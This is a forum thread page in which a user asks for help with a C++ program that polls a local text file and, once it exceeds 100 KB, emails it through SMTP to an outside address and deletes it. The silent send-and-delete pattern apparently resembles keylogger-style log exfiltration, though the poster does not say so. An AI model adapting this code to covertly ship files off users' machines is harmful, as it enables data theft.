Форум программистов, компьютерный форум CyberForum.ru

Как определить размер открытого файла - C++

Восстановить пароль Регистрация
Другие темы раздела
C++ Использование несколькими потоками одной функции http://www.cyberforum.ru/cpp-beginners/thread946474.html
Есть вот такая функция для =которую выполняют рабочие потоки DWORD WINAPI ThreadFunc(void *pV) { Data* pD = (Data*)pV; int n, iSleeping(0), MaxCountInConteiner(0); n = iGlobal++; cout<<"\ntut j:"<<n<<endl<<endl; for(;;) {
C++ Оптимизация кода игры в крестики нолики. Написал небольшой код буду благодарен если нормальные программисты порекомендуют как его нужно исправить. это игра в крестики нолики 10*10. ниже привожу файлы. Board.cpp #ifndef _Board_ #define _Board_ #include <iostream> #include "board.h" #endif using namespace std; http://www.cyberforum.ru/cpp-beginners/thread946452.html
Имя экземпляра объекта внутри класса на С++ C++
Добрый день. Подскажите, пожалуйста, как узнать имя экземпляра объекта внутри класса на С++ ? В частности, мне надо имя экземпляра объекта печатать на экран.
C++ Разница между С и С++
Если не брать во внимание объекты и классы, то разница состоит только лишь в cin, cout и директивах?
C++ Рекурсивные функции http://www.cyberforum.ru/cpp-beginners/thread946440.html
1. Написать рекурсивную функцию, которая бы вычисляла n-тое число Фибоначчи. 2. Написать рекурсивную функцию которая печатает элементы массива в обратном порядке.
C++ Принципы отладки в MVS 2012 Привет киберфорумцы! Подскажите пожалуйста, как в режиме отладки путешествовать только по написанному мной коду не, заходя в файлы предоставляемые MVS? А то начинаешь искать ошибку, выставив точку останова, для того, чтобы отследить поведение некоторых переменных внутри функции, тыкаешь Ф11 (чтобы перепрыгнуть из мейн в функцию), а забрасывает в какой-нибудь бесконечный ostream или... подробнее

Показать сообщение отдельно
Efremovs
0 / 0 / 0
Регистрация: 19.08.2013
Сообщений: 7
01.09.2013, 12:31  [ТС]     Как определить размер открытого файла
Цитата Сообщение от dmitry94 Посмотреть сообщение
Откуда уверенность, что размер файла увеличивается/уменьшается? Приведите конкретный пример.
Потому что программа работает с этим ТХТ файлом и , когда этот файл достигает размера 100кб программа отправляет на емаил. Я заметил что она первый раз при запуске "смотрит" на размер файла и он таким же остается до завершения программы. Если размер при запуске 100кб она отправляет, если во время работы программы размер достигает 100кб она не отправляет файл. Вот кусок кода:
C++ (Qt)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <iostream>
#include <fstream>
#include <winsock.h>
using namespace std;
 
void Base64Encode(const char* pText, size_t textLen, char* pResBuf, size_t bufLen)
{
    static union
    {
        char arr[3];
        struct
        {
            unsigned a1 : 6, a2 : 6, a3 : 6, a4 : 6;
        } s;
    };
    static char* ini = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    memset(pResBuf, '\0', bufLen);
    int i = 0, j = 0, k = 0;
    for(i = 0, k = 0; i < (int)textLen;)
    {
        arr[0] = arr[1] = arr[2] = '\0';
        for(j = 2; j >= 0 && i < (int)textLen; --j, ++i)
        {
            arr[j] = pText[i];
        }
        pResBuf[k++] = ini[s.a4];
        pResBuf[k++] = ini[s.a3];
        pResBuf[k++] = (1 > j ? ini[s.a2] : '=');
        pResBuf[k++] = (0 > j ? ini[s.a1] : '=');
    }
}
 
int main()
{
fstream file("C:\\test.txt");
     int size = 0;
    file.seekg (0, std::ios::end);
    size = file.tellg();
    file.close();
    
while(true) {if (size > 102400) {
        char* pfilename = "C:\\test.txt";          // имя файла
    std::ifstream ifs(pfilename, std::ios::binary);
    if(ifs.is_open())
    {
        setlocale(LC_ALL,"Russian");
        struct sockaddr_in smtp_address;
        int nConnect, iMsg = 0, iEnd = 0, rc;
        ifs.seekg(0, std::ios::end);
        size_t fsize = size_t(ifs.tellg());
        std::cout << "fsize (ifs.tellg()): " << fsize << "\n\n";
        ifs.seekg(0, std::ios::beg);
        char* pFileContent = new char[fsize]; // содержимое файла
        char* pBuf = new char[1024];
        char* hostname = "smtp.mail.ru";      // почтовый сервер ящика отправителя
        hostent *h = 0;
        char login[] = "почта", password[] = "пароль"; // имя и пароль ящика отправителя
        size_t index = 0;
        for(index = 0; ifs.get(pFileContent[index]); ++index)
        ;
        std::cout << "index (считано с файла): " << index << "\n\n";
 
        char* pSeventhString = new char[size_t(index * 2) + 1024];
        strcpy(pSeventhString,
            "from:<efremovs-mail@mail.ru>\r\n"                // ящик отправителя
            "to:<cpanele@yandex.ru>\r\n"                  // ящик получателя
            "subject: Sub\r\n"               // Тема письма (должна быть в utf-8)
            "Mime-Version: 1.0\r\n"
            "Content-Type: multipart/mixed; boundary=bound\r\n"
            "\r\n--bound\r\n"
            "Content-type: text/plain; charset=windows-1251\r\n"
            "Content-Transfer-Encoding: quoted-printable\r\n\r\n"
            "Hello.\r\n"                        //текст письма
            "\r\n--bound\r\n"
            "Content-Type: text/plain; name=");
            strcat(pSeventhString, pfilename);
            strcat(pSeventhString, "\r\n"
            "Content-Transfer-Encoding: base64\r\n"
            "Content-Disposition: attachment\r\n\r\n");
        char* pSeventhStringMiddle = new char[size_t(index * 2) + 1024];
        char seventhStringEnd[] = "\r\n--bound--\r\n.\r\n";
 
        char** pMailMessage = new char*[9];
        for(size_t i = 0; i < 9; ++i)
            if(i != 7)
                pMailMessage[i] = new char [1024];
            else
                pMailMessage[i] = new char [size_t(index * 2) + 1024];
 
        strcpy(pMailMessage[0], "EHLO mail.ru\r\n");
        strcpy(pMailMessage[1], "AUTH LOGIN\r\n");
        strcpy(pMailMessage[2], "");
        strcpy(pMailMessage[3], "");
        strcpy(pMailMessage[4], "mail from:<efremovs-mail@mail.ru>\r\n");// ящик отправителя
        strcpy(pMailMessage[5], "rcpt to:<cpanele@yandex.ru>\r\n");  // ящик получателя
        strcpy(pMailMessage[6], "data\r\n");
        strcpy(pMailMessage[7], "");
        strcpy(pMailMessage[8], "quit\r\n");
 
        Base64Encode(login, strlen(login), pBuf, 1024);
        strcpy(pMailMessage[2], strcat(pBuf,"\r\n"));
 
        Base64Encode(password, strlen(password), pBuf, 1024);
        strcpy(pMailMessage[3], strcat(pBuf,"\r\n"));
 
        Base64Encode(pFileContent, index, pSeventhStringMiddle, size_t(index * 2) + 1024);
        strcat(pSeventhString, strcat(strcat(pSeventhStringMiddle,"\r\n"), seventhStringEnd));
        strcpy(pMailMessage[7], pSeventhString);
 
        WSADATA WSAData;
        if(rc = WSAStartup(MAKEWORD(1, 1), &WSAData))
            return __LINE__;
        SOCKET nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
        if(nSMTPServerSocket != INVALID_SOCKET)
        {
            smtp_address.sin_family = AF_INET;
            if ((h = gethostbyname(hostname)) == 0)
            {
                std::cerr << "gethostbyname failed\n";
                system("pause");
                return __LINE__;
            }
            smtp_address.sin_addr.s_addr = inet_addr(inet_ntoa(*(reinterpret_cast<in_addr*>(h->h_addr))));
            smtp_address.sin_port = htons(25);
            nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
                                                                sizeof(smtp_address));
            if(!nConnect)
            {
                iMsg = iEnd = 0;
                do
                {
                    iEnd = recv(nSMTPServerSocket, pBuf, 1024, 0);
                    pBuf[iEnd] = '\0';
                    printf("\nAnswer: %s", pBuf);
                    if(iMsg != 7)
                        printf("Request: %s", pMailMessage[iMsg]);
                    send(nSMTPServerSocket, pMailMessage[iMsg], strlen(pMailMessage[iMsg]), 0);
                    iMsg++;
                }
                while(iMsg < 9);
                iEnd = recv(nSMTPServerSocket, pBuf, 1024, 0);
                pBuf[iEnd] = '\0';
                printf(pBuf);
            }
            closesocket(nSMTPServerSocket);
            
        }
        ifs.close();
        DeleteFile("C:\\test.txt");
    }
    else
        std::cerr << "Unable to open input file" << std::endl;
        }
        Sleep(999);
}
        return 0;
        }
Добавлено через 47 секунд
Вот сам код определения размера:
C++ (Qt)
1
2
3
4
5
fstream file("C:\\test.txt");
     int size = 0;
    file.seekg (0, std::ios::end);
    size = file.tellg();
    file.close();
Добавлено через 15 минут
Проблема рещилась, но теперь вопрос: В коде:
C++ (Qt)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <iostream>
#include <fstream>
#include <winsock.h>
using namespace std;
 
void Base64Encode(const char* pText, size_t textLen, char* pResBuf, size_t bufLen)
{
    static union
    {
        char arr[3];
        struct
        {
            unsigned a1 : 6, a2 : 6, a3 : 6, a4 : 6;
        } s;
    };
    static char* ini = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    memset(pResBuf, '\0', bufLen);
    int i = 0, j = 0, k = 0;
    for(i = 0, k = 0; i < (int)textLen;)
    {
        arr[0] = arr[1] = arr[2] = '\0';
        for(j = 2; j >= 0 && i < (int)textLen; --j, ++i)
        {
            arr[j] = pText[i];
        }
        pResBuf[k++] = ini[s.a4];
        pResBuf[k++] = ini[s.a3];
        pResBuf[k++] = (1 > j ? ini[s.a2] : '=');
        pResBuf[k++] = (0 > j ? ini[s.a1] : '=');
    }
}
 
int main()
{
while(true) {
fstream file("C:\\test.txt");
     int size = 0;
    file.seekg (0, std::ios::end);
    size = file.tellg();
    file.close();
    
if (size > 102400) {
        char* pfilename = "C:\\test.txt";          // имя файла
    std::ifstream ifs(pfilename, std::ios::binary);
    if(ifs.is_open())
    {
        setlocale(LC_ALL,"Russian");
        struct sockaddr_in smtp_address;
        int nConnect, iMsg = 0, iEnd = 0, rc;
        ifs.seekg(0, std::ios::end);
        size_t fsize = size_t(ifs.tellg());
        std::cout << "fsize (ifs.tellg()): " << fsize << "\n\n";
        ifs.seekg(0, std::ios::beg);
        char* pFileContent = new char[fsize]; // содержимое файла
        char* pBuf = new char[1024];
        char* hostname = "smtp.mail.ru";      // почтовый сервер ящика отправителя
        hostent *h = 0;
        char login[] = "почта", password[] = "пароль"; // имя и пароль ящика отправителя
        size_t index = 0;
        for(index = 0; ifs.get(pFileContent[index]); ++index)
        ;
        std::cout << "index (считано с файла): " << index << "\n\n";
 
        char* pSeventhString = new char[size_t(index * 2) + 1024];
        strcpy(pSeventhString,
            "from:<efremovs-mail@mail.ru>\r\n"                // ящик отправителя
            "to:<cpanele@yandex.ru>\r\n"                  // ящик получателя
            "subject: Sub\r\n"               // Тема письма (должна быть в utf-8)
            "Mime-Version: 1.0\r\n"
            "Content-Type: multipart/mixed; boundary=bound\r\n"
            "\r\n--bound\r\n"
            "Content-type: text/plain; charset=windows-1251\r\n"
            "Content-Transfer-Encoding: quoted-printable\r\n\r\n"
            "Hello.\r\n"                        //текст письма
            "\r\n--bound\r\n"
            "Content-Type: text/plain; name=");
            strcat(pSeventhString, pfilename);
            strcat(pSeventhString, "\r\n"
            "Content-Transfer-Encoding: base64\r\n"
            "Content-Disposition: attachment\r\n\r\n");
        char* pSeventhStringMiddle = new char[size_t(index * 2) + 1024];
        char seventhStringEnd[] = "\r\n--bound--\r\n.\r\n";
 
        char** pMailMessage = new char*[9];
        for(size_t i = 0; i < 9; ++i)
            if(i != 7)
                pMailMessage[i] = new char [1024];
            else
                pMailMessage[i] = new char [size_t(index * 2) + 1024];
 
        strcpy(pMailMessage[0], "EHLO mail.ru\r\n");
        strcpy(pMailMessage[1], "AUTH LOGIN\r\n");
        strcpy(pMailMessage[2], "");
        strcpy(pMailMessage[3], "");
        strcpy(pMailMessage[4], "mail from:<efremovs-mail@mail.ru>\r\n");// ящик отправителя
        strcpy(pMailMessage[5], "rcpt to:<cpanele@yandex.ru>\r\n");  // ящик получателя
        strcpy(pMailMessage[6], "data\r\n");
        strcpy(pMailMessage[7], "");
        strcpy(pMailMessage[8], "quit\r\n");
 
        Base64Encode(login, strlen(login), pBuf, 1024);
        strcpy(pMailMessage[2], strcat(pBuf,"\r\n"));
 
        Base64Encode(password, strlen(password), pBuf, 1024);
        strcpy(pMailMessage[3], strcat(pBuf,"\r\n"));
 
        Base64Encode(pFileContent, index, pSeventhStringMiddle, size_t(index * 2) + 1024);
        strcat(pSeventhString, strcat(strcat(pSeventhStringMiddle,"\r\n"), seventhStringEnd));
        strcpy(pMailMessage[7], pSeventhString);
 
        WSADATA WSAData;
        if(rc = WSAStartup(MAKEWORD(1, 1), &WSAData))
            return __LINE__;
        SOCKET nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
        if(nSMTPServerSocket != INVALID_SOCKET)
        {
            smtp_address.sin_family = AF_INET;
            if ((h = gethostbyname(hostname)) == 0)
            {
                std::cerr << "gethostbyname failed\n";
                system("pause");
                return __LINE__;
            }
            smtp_address.sin_addr.s_addr = inet_addr(inet_ntoa(*(reinterpret_cast<in_addr*>(h->h_addr))));
            smtp_address.sin_port = htons(25);
            nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
                                                                sizeof(smtp_address));
            if(!nConnect)
            {
                iMsg = iEnd = 0;
                do
                {
                    iEnd = recv(nSMTPServerSocket, pBuf, 1024, 0);
                    pBuf[iEnd] = '\0';
                    printf("\nAnswer: %s", pBuf);
                    if(iMsg != 7)
                        printf("Request: %s", pMailMessage[iMsg]);
                    send(nSMTPServerSocket, pMailMessage[iMsg], strlen(pMailMessage[iMsg]), 0);
                    iMsg++;
                }
                while(iMsg < 9);
                iEnd = recv(nSMTPServerSocket, pBuf, 1024, 0);
                pBuf[iEnd] = '\0';
                printf(pBuf);
            }
            closesocket(nSMTPServerSocket);
            
        }
        ifs.close();
        DeleteFile("C:\\test.txt");
    }
    else
        std::cerr << "Unable to open input file" << std::endl;
        }
}
        return 0;
        }
Происходит зацикливание кода, где проверяется размер файла и отправка на емаил. Так вот, когда файл достигает нужного размера он начинает отправлять много писем на емаил, хотя старый файл должен удалится. Почему он не удаляет? Помогите
Вот кусок кода где должен удалитькак я понял после закрытия соединения)
C++ (Qt)
1
2
        ifs.close();
        DeleteFile("C:\\test.txt");
 
Текущее время: 15:17. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru